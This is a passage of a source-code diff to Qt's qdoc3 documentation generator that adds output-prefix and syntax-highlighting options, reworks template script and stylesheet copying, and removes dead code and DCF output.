- lastAlnum = result.size();
- }
-#endif
}
result.truncate(lastAlnum);
return result;
diff --git a/tools/qdoc3/doc.h b/tools/qdoc3/doc.h
index 6a154fc..ea832b1 100644
--- a/tools/qdoc3/doc.h
+++ b/tools/qdoc3/doc.h
@@ -100,7 +100,7 @@ class Doc
bool isEmpty() const;
const QString& source() const;
const Text& body() const;
- Text briefText() const;
+ Text briefText(bool inclusive = false) const;
Text trimmedBriefText(const QString &className) const;
Text legaleseText() const;
const QString& baseName() const;
diff --git a/tools/qdoc3/doc/qdoc-manual.qdoc b/tools/qdoc3/doc/qdoc-manual.qdoc
index 31f1e00..7290c0e 100644
--- a/tools/qdoc3/doc/qdoc-manual.qdoc
+++ b/tools/qdoc3/doc/qdoc-manual.qdoc
@@ -7069,6 +7069,8 @@
\l {22-qdoc-configuration-generalvariables.html#outputdir}{outputdir},
\l {22-qdoc-configuration-generalvariables.html#outputformats}
{outputformats},
+ \l {22-qdoc-configuration-generalvariables.html#outputprefixes}
+ {outputprefixes},
\l {22-qdoc-configuration-generalvariables.html#slow}{slow},
\l {22-qdoc-configuration-generalvariables.html#sourcedirs}{sourcedirs},
\l {22-qdoc-configuration-generalvariables.html#sources}{sources},
@@ -7155,6 +7157,8 @@
\l {22-qdoc-configuration-generalvariables.html#outputdir}{outputdir},
\l {22-qdoc-configuration-generalvariables.html#outputformats}
{outputformats},
+ \l {22-qdoc-configuration-generalvariables.html#outputprefixes}
+ {outputprefixes},
\l {22-qdoc-configuration-generalvariables.html#slow}{slow},
\l {22-qdoc-configuration-generalvariables.html#sourcedirs}{sourcedirs},
\l {22-qdoc-configuration-generalvariables.html#sources}{sources},
@@ -7796,6 +7800,23 @@
the default format, and doesn't need to be specified.
\row
+ \o \bold outputprefixes \target outputprefixes
+ \o \bold {The \c outputprefixes variable specifies a mapping between
+ types of files and the prefixes to prepend to the HTML file names
+ in the generated documentation.}
+
+ For example:
+
+ \code
+ outputprefixes = QML
+ outputprefixes.QML = qt-components-
+ \endcode
+
+ Be default, files containing the API documentation for QML elements
+ or components are prefixed with "qml-". In the above example, the
+ prefix "qt-components-" is used instead.
+
+ \row
\o \bold qhp \target qhp
\o \bold{The \c qhp variable is used to define the information to be
written out to Qt Help Project (\c{qhp}) files.}
@@ -7804,20 +7825,14 @@
about this process.
\row
- \o \bold slow \target slow
- \o \bold {The \c slow variable specifies whether QDoc should do
- time-consuming processing, such as syntax highlighting.}
-
- By default, this setting is false.
-
- Example:
+ \o \bold slow (removed) \target slow
+ \o \bold {The \c slow variable previously specified whether QDoc should
+ do time-consuming processing, such as syntax highlighting.}
- \code
- slow = true
- \endcode
+ This option has been replaced by the \l{syntaxhighlighing} option.
- Another way to turn on "slowness" is to invoke QDoc with the
- \c -slow command-line option.
+ For compatibility, the \c -slow command-line option has been
+ retained. This has the effect of enabling syntax highlighting.
\row
\o \bold sourcedirs \target sourcedirs
@@ -7957,6 +7972,21 @@
\endcode
\row
+ \o \bold syntaxhighlighting \target syntaxhighlighting
+ \o \bold{The \c syntaxhighlighting variable specifies whether QDoc
+ should perform syntax highlighting on source code quoted in the
+ documentation it output.}
+
+ For example:
+
+ \code
+ syntaxhighlighting = true
+ \endcode
+
+ will enable syntax highlighting for all supported programming
+ languages.
+
+ \row
\o \bold tabsize \target tabsize
\o \bold {The \c tabsize variable defines the size of a tab
character.}
diff --git a/tools/qdoc3/generator.cpp b/tools/qdoc3/generator.cpp
index 7deca2e..b4768db 100644
--- a/tools/qdoc3/generator.cpp
+++ b/tools/qdoc3/generator.cpp
@@ -43,7 +43,9 @@
generator.cpp
*/
#include <qdir.h>
+#ifdef DEBUG_MULTIPLE_QDOCCONF_FILES
#include <qdebug.h>
+#endif
#include "codemarker.h"
#include "config.h"
#include "doc.h"
@@ -54,6 +56,7 @@
#include "quoter.h"
#include "separator.h"
#include "tokenizer.h"
+#include "ditaxmlgenerator.h"
QT_BEGIN_NAMESPACE
@@ -72,6 +75,7 @@ QStringList Generator::styleFiles;
QStringList Generator::styleDirs;
QString Generator::outDir;
QString Generator::project;
+QHash<QString, QString> Generator::outputPrefixes;
static void singularPlural(Text& text, const NodeList& nodes)
{
@@ -180,45 +184,52 @@ void Generator::initialize(const Config &config)
++e;
}
- QStringList noExts;
- QStringList scripts =
- config.getStringList(CONFIG_SCRIPTS+Config::dot+(*g)->format());
- e = scripts.begin();
- while (e != scripts.end()) {
- QString userFriendlyFilePath;
- QString filePath = Config::findFile(config.lastLocation(),
- scriptFiles,
- scriptDirs,
- *e,
- noExts,
- userFriendlyFilePath);
- if (!filePath.isEmpty())
- Config::copyFile(config.lastLocation(),
- filePath,
- userFriendlyFilePath,
- (*g)->outputDir() +
- "/scripts");
- ++e;
- }
+ // Documentation template handling
+ QString templateDir = config.getString(
+ (*g)->format() + Config::dot + CONFIG_TEMPLATEDIR);
+
+ if (!templateDir.isEmpty()) {
+ QStringList noExts;
+ QStringList searchDirs = QStringList() << templateDir;
+ QStringList scripts =
+ config.getStringList((*g)->format()+Config::dot+CONFIG_SCRIPTS);
+ e = scripts.begin();
+ while (e != scripts.end()) {
+ QString userFriendlyFilePath;
+ QString filePath = Config::findFile(config.lastLocation(),
+ scriptFiles,
+ searchDirs,
+ *e,
+ noExts,
+ userFriendlyFilePath);
+ if (!filePath.isEmpty())
+ Config::copyFile(config.lastLocation(),
+ filePath,
+ userFriendlyFilePath,
+ (*g)->outputDir() +
+ "/scripts");
+ ++e;
+ }
- QStringList styles =
- config.getStringList(CONFIG_STYLES+Config::dot+(*g)->format());
- e = styles.begin();
- while (e != styles.end()) {
- QString userFriendlyFilePath;
- QString filePath = Config::findFile(config.lastLocation(),
- styleFiles,
- styleDirs,
- *e,
- noExts,
- userFriendlyFilePath);
- if (!filePath.isEmpty())
- Config::copyFile(config.lastLocation(),
- filePath,
- userFriendlyFilePath,
- (*g)->outputDir() +
- "/style");
- ++e;
+ QStringList styles =
+ config.getStringList((*g)->format()+Config::dot+CONFIG_STYLESHEETS);
+ e = styles.begin();
+ while (e != styles.end()) {
+ QString userFriendlyFilePath;
+ QString filePath = Config::findFile(config.lastLocation(),
+ styleFiles,
+ searchDirs,
+ *e,
+ noExts,
+ userFriendlyFilePath);
+ if (!filePath.isEmpty())
+ Config::copyFile(config.lastLocation(),
+ filePath,
+ userFriendlyFilePath,
+ (*g)->outputDir() +
+ "/style");
+ ++e;
+ }
}
}
++g;
@@ -264,6 +275,14 @@ void Generator::initialize(const Config &config)
}
project = config.getString(CONFIG_PROJECT);
+
+ QStringList prefixes = config.getStringList(CONFIG_OUTPUTPREFIXES);
+ if (!prefixes.isEmpty()) {
+ foreach (QString prefix, prefixes)
+ outputPrefixes[prefix] = config.getString(
+ CONFIG_OUTPUTPREFIXES + Config::dot + prefix);
+ } else
+ outputPrefixes[QLatin1String("QML")] = QLatin1String("qml-");
}
void Generator::terminate()
@@ -326,6 +345,7 @@ bool Generator::generateText(const Text& text,
const Node *relative,
CodeMarker *marker)
{
+ bool result = false;
if (text.firstAtom() != 0) {
int numAtoms = 0;
startText(relative, marker);
@@ -335,9 +355,9 @@ bool Generator::generateText(const Text& text,
true,
numAtoms);
endText(relative, marker);
- return true;
+ result = true;
}
- return false;
+ return result;
}
#ifdef QDOC_QML
@@ -351,24 +371,26 @@ bool Generator::generateQmlText(const Text& text,
const QString& /* qmlName */ )
{
const Atom* atom = text.firstAtom();
- if (atom == 0)
- return false;
+ bool result = false;
- startText(relative, marker);
- while (atom) {
- if (atom->type() != Atom::QmlText)
- atom = atom->next();
- else {
- atom = atom->next();
- while (atom && (atom->type() != Atom::EndQmlText)) {
- int n = 1 + generateAtom(atom, relative, marker);
- while (n-- > 0)
- atom = atom->next();
+ if (atom != 0) {
+ startText(relative, marker);
+ while (atom) {
+ if (atom->type() != Atom::QmlText)
+ atom = atom->next();
+ else {
+ atom = atom->next();
+ while (atom && (atom->type() != Atom::EndQmlText)) {
+ int n = 1 + generateAtom(atom, relative, marker);
+ while (n-- > 0)
+ atom = atom->next();
+ }
}
}
+ endText(relative, marker);
+ result = true;
}
- endText(relative, marker);
- return true;
+ return result;
}
#endif
@@ -376,25 +398,21 @@ void Generator::generateBody(const Node *node, CodeMarker *marker)
{
bool quiet = false;
- if (node->type() == Node::Function) {
-#if 0
- const FunctionNode *func = (const FunctionNode *) node;
- if (func->isOverload() && func->metaness() != FunctionNode::Ctor)
- generateOverload(node, marker);
-#endif
- }
- else if (node->type() == Node::Fake) {
+ if (node->type() == Node::Fake) {
const FakeNode *fake = static_cast<const FakeNode *>(node);
- if (fake->subType() == Node::Example)
+ if (fake->subType() == Node::Example) {
generateExampleFiles(fake, marker);
- else if ((fake->subType() == Node::File) || (fake->subType() == Node::Image))
+ }
+ else if ((fake->subType() == Node::File) || (fake->subType() == Node::Image)) {
quiet = true;
+ }
}
if (node->doc().isEmpty()) {
- if (!quiet && !node->isReimp()) // ### might be unnecessary
+ if (!quiet && !node->isReimp()) { // ### might be unnecessary
node->location().warning(tr("No documentation for '%1'")
.arg(marker->plainFullName(node)));
+ }
}
else {
if (node->type() == Node::Function) {
@@ -403,9 +421,10 @@ void Generator::generateBody(const Node *node, CodeMarker *marker)
generateReimplementedFrom(func, marker);
}
- if (!generateText(node->doc().body(), node, marker))
+ if (!generateText(node->doc().body(), node, marker)) {
if (node->isReimp())
return;
+ }
if (node->type() == Node::Enum) {
const EnumNode *enume = (const EnumNode *) node;
@@ -496,18 +515,16 @@ void Generator::generateBody(const Node *node, CodeMarker *marker)
++a;
}
}
-/* Something like this return value check should be implemented at some point. */
+ /*
+ Something like this return value check should
+ be implemented at some point.
+ */
if (func->status() > Node::Obsolete && func->returnType() == "bool"
&& func->reimplementedFrom() == 0 && !func->isOverload()) {
QString body = func->doc().body().toString();
if (!body.contains("return", Qt::CaseInsensitive))
node->doc().location().warning(tr("Undocumented return value"));
}
-#if 0
- // Now we put this at the top, before the other text.
- if (func->reimplementedFrom() != 0)
- generateReimplementedFrom(func, marker);
-#endif
}
}
@@ -518,8 +535,9 @@ void Generator::generateBody(const Node *node, CodeMarker *marker)
Quoter quoter;
Doc::quoteFromFile(fake->doc().location(), quoter, fake->name());
QString code = quoter.quoteTo(fake->location(), "", "");
- text << Atom(Atom::Code, code);
- generateText(text, fake, marker);
+ CodeMarker *codeMarker = CodeMarker::markerForFileName(fake->name());
+ text << Atom(codeMarker->atomType(), code);
+ generateText(text, fake, codeMarker);
}
}
}
@@ -667,35 +685,6 @@ void Generator::generateExampleFiles(const FakeNode *fake, CodeMarker *marker)
generateFileList(fake, marker, Node::Image, QString("Images:"));
}
-#if 0
- QList<Generator *>::ConstIterator g = generators.begin();
- while (g != generators.end()) {
- if (outputFormats.contains((*g)->format())) {
- (*g)->initializeGenerator(config);
- QStringList extraImages =
- config.getStringList(CONFIG_EXTRAIMAGES+Config::dot+(*g)->format());
- QStringList::ConstIterator e = extraImages.begin();
- while (e != extraImages.end()) {
- QString userFriendlyFilePath;
- QString filePath = Config::findFile(config.lastLocation(),
- imageFiles,
- imageDirs,
- *e,
- imgFileExts[(*g)->format()],
- userFriendlyFilePath);
- if (!filePath.isEmpty())
- Config::copyFile(config.lastLocation(),
- filePath,
- userFriendlyFilePath,
- (*g)->outputDir() +
- "/images");
- ++e;
- }
- }
- ++g;
- }
-#endif
-
QString Generator::indent(int level, const QString& markedCode)
{
if (level == 0)
@@ -706,26 +695,17 @@ QString Generator::indent(int level, const QString& markedCode)
int i = 0;
while (i < (int) markedCode.length()) {
- if (markedCode.at(i) == QLatin1Char('<')) {
- while (i < (int) markedCode.length()) {
- t += markedCode.at(i++);
- if (markedCode.at(i - 1) == QLatin1Char('>'))
- break;
- }
+ if (markedCode.at(i) == QLatin1Char('\n')) {
+ column = 0;
}
else {
- if (markedCode.at(i) == QLatin1Char('\n')) {
- column = 0;
+ if (column == 0) {
+ for (int j = 0; j < level; j++)
+ t += QLatin1Char(' ');
}
- else {
- if (column == 0) {
- for (int j = 0; j < level; j++)
- t += QLatin1Char(' ');
- }
- column++;
- }
- t += markedCode.at(i++);
+ column++;
}
+ t += markedCode.at(i++);
}
return t;
}
@@ -855,7 +835,11 @@ QMap<QString, QString>& Generator::formattingRightMap()
return fmtRightMaps[format()];
}
-QString Generator::trimmedTrailing(const QString &string)
+/*
+ Trims trailimng whitespace off the \a string and returns
+ the trimmed string.
+ */
+QString Generator::trimmedTrailing(const QString& string)
{
QString trimmed = string;
while (trimmed.length() > 0 && trimmed[trimmed.length() - 1].isSpace())
@@ -1085,20 +1069,6 @@ void Generator::generateSince(const Node *node, CodeMarker *marker)
}
}
-/*!
- No longer in use.
- */
-void Generator::generateOverload(const Node *node, CodeMarker *marker)
-{
- Text text;
- text << Atom::ParaLeft
- << "This function overloads ";
- QString t = node->name() + "()";
- text << Atom::AutoLink << t
- << Atom::ParaRight;
- generateText(text, node, marker);
-}
-
void Generator::generateReimplementedFrom(const FunctionNode *func,
CodeMarker *marker)
{
@@ -1147,8 +1117,8 @@ const Atom *Generator::generateAtomList(const Atom *atom,
if (atom->type() == Atom::FormatEndif) {
if (generate && numAtoms0 == numAtoms) {
- relative->location().warning(tr("Output format %1 not handled")
- .arg(format()));
+ relative->location().warning(tr("Output format %1 not handled %2")
+ .arg(format()).arg(outFileName()));
Atom unhandledFormatAtom(Atom::UnhandledFormat, format());
generateAtomList(&unhandledFormatAtom,
relative,
@@ -1300,4 +1270,9 @@ QString Generator::fullName(const Node *node,
return marker->plainFullName(node, relative);
}
+QString Generator::outputPrefix(const QString &nodeType)
+{
+ return outputPrefixes[nodeType];
+}
+
QT_END_NAMESPACE
diff --git a/tools/qdoc3/generator.h b/tools/qdoc3/generator.h
index 562ad9b..4482313 100644
--- a/tools/qdoc3/generator.h
+++ b/tools/qdoc3/generator.h
@@ -78,7 +78,7 @@ class Generator
virtual void terminateGenerator();
virtual QString format() = 0;
virtual bool canHandleFormat(const QString &format) { return format == this->format(); }
- virtual void generateTree(const Tree *tree, CodeMarker *marker) = 0;
+ virtual void generateTree(const Tree *tree) = 0;
static void initialize(const Config& config);
static void terminate();
@@ -114,7 +114,7 @@ class Generator
void generateThreadSafeness(const Node *node, CodeMarker *marker);
void generateSince(const Node *node, CodeMarker *marker);
void generateStatus(const Node *node, CodeMarker *marker);
- const Atom *generateAtomList(const Atom *atom,
+ const Atom* generateAtomList(const Atom *atom,
const Node *relative,
CodeMarker *marker,
bool generate,
@@ -130,6 +130,8 @@ class Generator
const Node *relative,
CodeMarker *marker) const;
+ virtual QString outFileName() { return QString(); }
+
const QString& outputDir() { return outDir; }
QString indent(int level, const QString& markedCode);
QString plainCode(const QString& markedCode);
@@ -146,9 +148,9 @@ class Generator
static QString trimmedTrailing(const QString &string);
static bool matchAhead(const Atom *atom, Atom::Type expectedAtomType);
static void supplementAlsoList(const Node *node, QList<Text> &alsoList);
+ static QString outputPrefix(const QString &nodeType);
private:
- void generateOverload(const Node *node, CodeMarker *marker);
void generateReimplementedFrom(const FunctionNode *func,
CodeMarker *marker);
void appendFullName(Text& text,
@@ -197,6 +199,7 @@ class Generator
static QStringList styleDirs;
static QString outDir;
static QString project;
+ static QHash<QString, QString> outputPrefixes;
};
QT_END_NAMESPACE
diff --git a/tools/qdoc3/helpprojectwriter.cpp b/tools/qdoc3/helpprojectwriter.cpp
index cb94bc4..f2e2f04 100644
--- a/tools/qdoc3/helpprojectwriter.cpp
+++ b/tools/qdoc3/helpprojectwriter.cpp
@@ -41,7 +41,6 @@
#include <QHash>
#include <QMap>
-//#include <qdebug.h>
#include "atom.h"
#include "helpprojectwriter.h"
@@ -49,7 +48,6 @@
#include "config.h"
#include "node.h"
#include "tree.h"
-#include <qdebug.h>
QT_BEGIN_NAMESPACE
@@ -216,7 +214,7 @@ QStringList HelpProjectWriter::keywordDetails(const Node *node) const
details << node->name();
details << node->name();
}
- details << tree->fullDocumentLocation(node);
+ details << HtmlGenerator::fullDocumentLocation(node);
return details;
}
@@ -276,12 +274,12 @@ bool HelpProjectWriter::generateSection(HelpProject &project,
case Node::Class:
project.keywords.append(keywordDetails(node));
- project.files.insert(tree->fullDocumentLocation(node));
+ project.files.insert(HtmlGenerator::fullDocumentLocation(node));
break;
case Node::Namespace:
project.keywords.append(keywordDetails(node));
- project.files.insert(tree->fullDocumentLocation(node));
+ project.files.insert(HtmlGenerator::fullDocumentLocation(node));
break;
case Node::Enum:
@@ -301,7 +299,7 @@ bool HelpProjectWriter::generateSection(HelpProject &project,
details << item.name(); // "name"
details << item.name(); // "id"
}
- details << tree->fullDocumentLocation(node);
+ details << HtmlGenerator::fullDocumentLocation(node);
project.keywords.append(details);
}
}
@@ -332,7 +330,7 @@ bool HelpProjectWriter::generateSection(HelpProject &project,
if (node->relates()) {
project.memberStatus[node->relates()].insert(node->status());
- project.files.insert(tree->fullDocumentLocation(node->relates()));
+ project.files.insert(HtmlGenerator::fullDocumentLocation(node->relates()));
} else if (node->parent())
project.memberStatus[node->parent()].insert(node->status());
}
@@ -346,7 +344,7 @@ bool HelpProjectWriter::generateSection(HelpProject &project,
// Use the location of any associated enum node in preference
// to that of the typedef.
if (enumNode)
- typedefDetails[2] = tree->fullDocumentLocation(enumNode);
+ typedefDetails[2] = HtmlGenerator::fullDocumentLocation(enumNode);
project.keywords.append(typedefDetails);
}
@@ -366,11 +364,11 @@ bool HelpProjectWriter::generateSection(HelpProject &project,
QStringList details;
details << keyword->string()
<< keyword->string()
- << tree->fullDocumentLocation(node) + "#" + Doc::canonicalTitle(keyword->string());
+ << HtmlGenerator::fullDocumentLocation(node) + "#" + Doc::canonicalTitle(keyword->string());
project.keywords.append(details);
} else
fakeNode->doc().location().warning(
- tr("Bad keyword in %1").arg(tree->fullDocumentLocation(node))
+ tr("Bad keyword in %1").arg(HtmlGenerator::fullDocumentLocation(node))
);
}
}
@@ -384,16 +382,16 @@ bool HelpProjectWriter::generateSection(HelpProject &project,
QStringList details;
details << title
<< title
- << tree->fullDocumentLocation(node) + "#" + Doc::canonicalTitle(title);
+ << HtmlGenerator::fullDocumentLocation(node) + "#" + Doc::canonicalTitle(title);
project.keywords.append(details);
} else
fakeNode->doc().location().warning(
- tr("Bad contents item in %1").arg(tree->fullDocumentLocation(node))
+ tr("Bad contents item in %1").arg(HtmlGenerator::fullDocumentLocation(node))
);
}
}
*/
- project.files.insert(tree->fullDocumentLocation(node));
+ project.files.insert(HtmlGenerator::fullDocumentLocation(node));
}
break;
}
@@ -472,7 +470,7 @@ void HelpProjectWriter::generate(const Tree *tre)
void HelpProjectWriter::writeNode(HelpProject &project, QXmlStreamWriter &writer,
const Node *node)
{
- QString href = tree->fullDocumentLocation(node);
+ QString href = HtmlGenerator::fullDocumentLocation(node);
QString objName = node->name();
switch (node->type()) {
@@ -615,12 +613,12 @@ void HelpProjectWriter::generateProject(HelpProject &project)
writer.writeStartElement("toc");
writer.writeStartElement("section");
- QString indexPath = tree->fullDocumentLocation(tree->findFakeNodeByTitle(project.indexTitle));
+ QString indexPath = HtmlGenerator::fullDocumentLocation(tree->findFakeNodeByTitle(project.indexTitle));
if (indexPath.isEmpty())
indexPath = "index.html";
writer.writeAttribute("ref", HtmlGenerator::cleanRef(indexPath));
writer.writeAttribute("title", project.indexTitle);
- project.files.insert(tree->fullDocumentLocation(rootNode));
+ project.files.insert(HtmlGenerator::fullDocumentLocation(rootNode));
generateSections(project, writer, rootNode);
@@ -658,7 +656,7 @@ void HelpProjectWriter::generateProject(HelpProject &project)
const FakeNode *page = tree->findFakeNodeByTitle(atom->string());
writer.writeStartElement("section");
- QString indexPath = tree->fullDocumentLocation(page);
+ QString indexPath = HtmlGenerator::fullDocumentLocation(page);
writer.writeAttribute("ref", HtmlGenerator::cleanRef(indexPath));
writer.writeAttribute("title", atom->string());
project.files.insert(indexPath);
@@ -683,7 +681,7 @@ void HelpProjectWriter::generateProject(HelpProject &project)
if (!name.isEmpty()) {
writer.writeStartElement("section");
- QString indexPath = tree->fullDocumentLocation(tree->findFakeNodeByTitle(subproject.indexTitle));
+ QString indexPath = HtmlGenerator::fullDocumentLocation(tree->findFakeNodeByTitle(subproject.indexTitle));
writer.writeAttribute("ref", HtmlGenerator::cleanRef(indexPath));
writer.writeAttribute("title", subproject.title);
project.files.insert(indexPath);
diff --git a/tools/qdoc3/htmlgenerator.cpp b/tools/qdoc3/htmlgenerator.cpp
index 9ddf6e8..0ff28af 100644
--- a/tools/qdoc3/htmlgenerator.cpp
+++ b/tools/qdoc3/htmlgenerator.cpp
@@ -56,6 +56,7 @@
#include <qlist.h>
#include <qiterator.h>
#include <qtextcodec.h>
+#include <QUuid>
QT_BEGIN_NAMESPACE
@@ -63,10 +64,6 @@ QT_BEGIN_NAMESPACE
int HtmlGenerator::id = 0;
bool HtmlGenerator::debugging_on = false;
-#if 0
-QString HtmlGenerator::divNavTop = "<div class=\"navTop\"><a href=\"#toc\"><img src=\"./images/bullet_up.png\"></a></div>";
-#endif
-
QString HtmlGenerator::divNavTop = "";
QString HtmlGenerator::sinceTitles[] =
@@ -93,7 +90,7 @@ static bool showBrokenLinks = false;
static QRegExp linkTag("(<@link node=\"([^\"]+)\">).*(</@link>)");
static QRegExp funcTag("(<@func target=\"([^\"]*)\">)(.*)(</@func>)");
static QRegExp typeTag("(<@(type|headerfile|func)(?: +[^>]*)?>)(.*)(</@\\2>)");
-static QRegExp spanTag("</@(?:comment|preprocessor|string|char)>");
+static QRegExp spanTag("</@(?:comment|preprocessor|string|char|number|op|type|name|keyword)>");
static QRegExp unknownTag("</?@[^>]*>");
bool parseArg(const QString &src,
@@ -214,15 +211,14 @@ static void addLink(const QString &linkTarget,
HtmlGenerator::HtmlGenerator()
: helpProjectWriter(0),
inLink(false),
+ inObsoleteLink(false),
inContents(false),
inSectionHeading(false),
inTableHeader(false),
numTableRows(0),
threeColumnEnumValueTable(true),
- application(Online),
funcLeftParen("\\S(\\()"),
myTree(0),
- slow(false),
obsoleteLinks(false)
{
}
@@ -263,19 +259,16 @@ void HtmlGenerator::initializeGenerator(const Config &config)
style = config.getString(HtmlGenerator::format() +
Config::dot +
- HTMLGENERATOR_STYLE);
+ CONFIG_STYLE);
+ endHeader = config.getString(HtmlGenerator::format() +
+ Config::dot +
+ CONFIG_ENDHEADER);
postHeader = config.getString(HtmlGenerator::format() +
Config::dot +
HTMLGENERATOR_POSTHEADER);
postPostHeader = config.getString(HtmlGenerator::format() +
Config::dot +
HTMLGENERATOR_POSTPOSTHEADER);
- creatorPostHeader = config.getString(HtmlGenerator::format() +
- Config::dot +
- HTMLGENERATOR_CREATORPOSTHEADER);
- creatorPostPostHeader = config.getString(HtmlGenerator::format() +
- Config::dot +
- HTMLGENERATOR_CREATORPOSTPOSTHEADER);
footer = config.getString(HtmlGenerator::format() +
Config::dot +
HTMLGENERATOR_FOOTER);
@@ -288,14 +281,6 @@ void HtmlGenerator::initializeGenerator(const Config &config)
project = config.getString(CONFIG_PROJECT);
- QString app = config.getString(CONFIG_APPLICATION);
- if (app == "online")
- application = Online;
- else if (app == "creator")
- application = Creator;
- else
- application = Creator;
-
projectDescription = config.getString(CONFIG_DESCRIPTION);
if (projectDescription.isEmpty() && !project.isEmpty())
projectDescription = project + " Reference Documentation";
@@ -334,19 +319,18 @@ void HtmlGenerator::initializeGenerator(const Config &config)
++edition;
}
- slow = config.getBool(CONFIG_SLOW);
-
- stylesheets = config.getStringList(HtmlGenerator::format() +
- Config::dot +
- HTMLGENERATOR_STYLESHEETS);
- customHeadElements = config.getStringList(HtmlGenerator::format() +
- Config::dot +
- HTMLGENERATOR_CUSTOMHEADELEMENTS);
codeIndent = config.getInt(CONFIG_CODEINDENT);
helpProjectWriter = new HelpProjectWriter(config,
project.toLower() +
".qhp");
+
+ // Documentation template handling
+ headerScripts = config.getString(HtmlGenerator::format() + Config::dot +
+ CONFIG_HEADERSCRIPTS);
+ headerStyles = config.getString(HtmlGenerator::format() +
+ Config::dot +
+ CONFIG_HEADERSTYLES);
}
void HtmlGenerator::terminateGenerator()
@@ -360,11 +344,11 @@ QString HtmlGenerator::format()
}
/*!
- This is where the html files and dcf files are written.
- \note The html file generation is done in the base class,
+ This is where the HTML files are written.
+ \note The HTML file generation is done in the base class,
PageGenerator::generateTree().
*/
-void HtmlGenerator::generateTree(const Tree *tree, CodeMarker *marker)
+void HtmlGenerator::generateTree(const Tree *tree)
{
myTree = tree;
nonCompatClasses.clear();
@@ -383,48 +367,11 @@ void HtmlGenerator::generateTree(const Tree *tree, CodeMarker *marker)
findAllNamespaces(tree->root());
findAllSince(tree->root());
- PageGenerator::generateTree(tree, marker);
-
- dcfClassesRoot.ref = "classes.html";
- dcfClassesRoot.title = "Classes";
- qSort(dcfClassesRoot.subsections);
-
- dcfOverviewsRoot.ref = "overviews.html";
- dcfOverviewsRoot.title = "Overviews";
- qSort(dcfOverviewsRoot.subsections);
-
- dcfExamplesRoot.ref = "examples.html";
- dcfExamplesRoot.title = "Tutorial & Examples";
- qSort(dcfExamplesRoot.subsections);
-
- DcfSection qtRoot;
- appendDcfSubSection(&qtRoot, dcfClassesRoot);
- appendDcfSubSection(&qtRoot, dcfOverviewsRoot);
- appendDcfSubSection(&qtRoot, dcfExamplesRoot);
-
- generateDcf(project.toLower().simplified().replace(" ", "-"),
- "index.html",
- projectDescription, qtRoot);
- generateDcf("designer",
- "designer-manual.html",
- "Qt Designer Manual",
- dcfDesignerRoot);
- generateDcf("linguist",
- "linguist-manual.html",
- "Qt Linguist Manual",
- dcfLinguistRoot);
- generateDcf("assistant",
- "assistant-manual.html",
- "Qt Assistant Manual",
- dcfAssistantRoot);
- generateDcf("qmake",
- "qmake-manual.html",
- "qmake Manual",
- dcfQmakeRoot);
+ PageGenerator::generateTree(tree);
QString fileBase = project.toLower().simplified().replace(" ", "-");
generateIndex(fileBase, projectUrl, projectDescription);
- generatePageIndex(outputDir() + "/" + fileBase + ".pageindex", marker);
+ generatePageIndex(outputDir() + "/" + fileBase + ".pageindex");
helpProjectWriter->generate(myTree);
}
@@ -517,24 +464,33 @@ int HtmlGenerator::generateAtom(const Atom *atom,
out() << "</p>\n";
break;
case Atom::C:
+ // This may at one time have been used to mark up C++ code but it is
+ // now widely used to write teletype text. As a result, text marked
+ // with the \c command is not passed to a code marker.
out() << formattingLeftMap()[ATOM_FORMATTING_TELETYPE];
if (inLink) {
out() << protectEnc(plainCode(atom->string()));
}
else {
- out() << highlightedCode(atom->string(), marker, relative);
+ out() << protectEnc(plainCode(atom->string()));
}
out() << formattingRightMap()[ATOM_FORMATTING_TELETYPE];
break;
case Atom::Code:
- out() << "<pre class=\"highlightedCode brush: cpp\">"
+ out() << "<pre class=\"cpp\">"
<< trimmedTrailing(highlightedCode(indent(codeIndent,atom->string()),
marker,relative))
<< "</pre>\n";
break;
#ifdef QDOC_QML
case Atom::Qml:
- out() << "<pre class=\"highlightedCode brush: cpp\">"
+ out() << "<pre class=\"qml\">"
+ << trimmedTrailing(highlightedCode(indent(codeIndent,atom->string()),
+ marker,relative))
+ << "</pre>\n";
+ break;
+ case Atom::JavaScript:
+ out() << "<pre class=\"js\">"
<< trimmedTrailing(highlightedCode(indent(codeIndent,atom->string()),
marker,relative))
<< "</pre>\n";
@@ -542,7 +498,7 @@ int HtmlGenerator::generateAtom(const Atom *atom,
#endif
case Atom::CodeNew:
out() << "<p>you can rewrite it as</p>\n"
- << "<pre class=\"highlightedCode brush: cpp\">"
+ << "<pre class=\"cpp\">"
<< trimmedTrailing(highlightedCode(indent(codeIndent,atom->string()),
marker,relative))
<< "</pre>\n";
@@ -551,10 +507,17 @@ int HtmlGenerator::generateAtom(const Atom *atom,
out() << "<p>For example, if you have code like</p>\n";
// fallthrough
case Atom::CodeBad:
- out() << "<pre class=\"highlightedCode brush: cpp\">"
+ out() << "<pre class=\"cpp\">"
<< trimmedTrailing(protectEnc(plainCode(indent(codeIndent,atom->string()))))
<< "</pre>\n";
break;
+ case Atom::Div:
+ out() << "<div";
+ if (!atom->string().isEmpty())
+ out() << " class=\"" << atom->string() << "\">";
+ else
+ out() << ">";
+ break;
case Atom::FootnoteLeft:
// ### For now
if (in_para) {
@@ -1062,26 +1025,8 @@ int HtmlGenerator::generateAtom(const Atom *atom,
out() << atom->string();
break;
case Atom::SectionLeft:
-#if 0
- {
- int nextLevel = atom->string().toInt();
- if (sectionNumber.size() < nextLevel) {
- do {
- sectionNumber.append("1");
- } while (sectionNumber.size() < nextLevel);
- }
- else {
- while (sectionNumber.size() > nextLevel) {
- sectionNumber.removeLast();
- }
- sectionNumber.last() = QString::number(sectionNumber.last().toInt() + 1);
- }
- out() << "<a name=\"sec-" << sectionNumber.join("-") << "\"></a>" << divNavTop << "\n";
- }
-#else
out() << "<a name=\"" << Doc::canonicalTitle(Text::sectionHeading(atom).toString())
<< "\"></a>" << divNavTop << "\n";
-#endif
break;
case Atom::SectionRight:
break;
@@ -1180,33 +1125,6 @@ int HtmlGenerator::generateAtom(const Atom *atom,
skipAhead = 1;
break;
case Atom::TableOfContents:
- {
- int numColumns = 1;
- const Node *node = relative;
-
- Doc::SectioningUnit sectioningUnit = Doc::Section4;
- QStringList params = atom->string().split(",");
- QString columnText = params.at(0);
- QStringList pieces = columnText.split(" ", QString::SkipEmptyParts);
- if (pieces.size() >= 2) {
- columnText = pieces.at(0);
- pieces.pop_front();
- QString path = pieces.join(" ").trimmed();
- node = findNodeForTarget(path, relative, marker, atom);
- }
-
- if (params.size() == 2) {
- numColumns = qMax(columnText.toInt(), numColumns);
- sectioningUnit = (Doc::SectioningUnit)params.at(1).toInt();
- }
-
- if (node)
- generateTableOfContents(node,
- marker,
- sectioningUnit,
- numColumns,
- relative);
- }
break;
case Atom::Target:
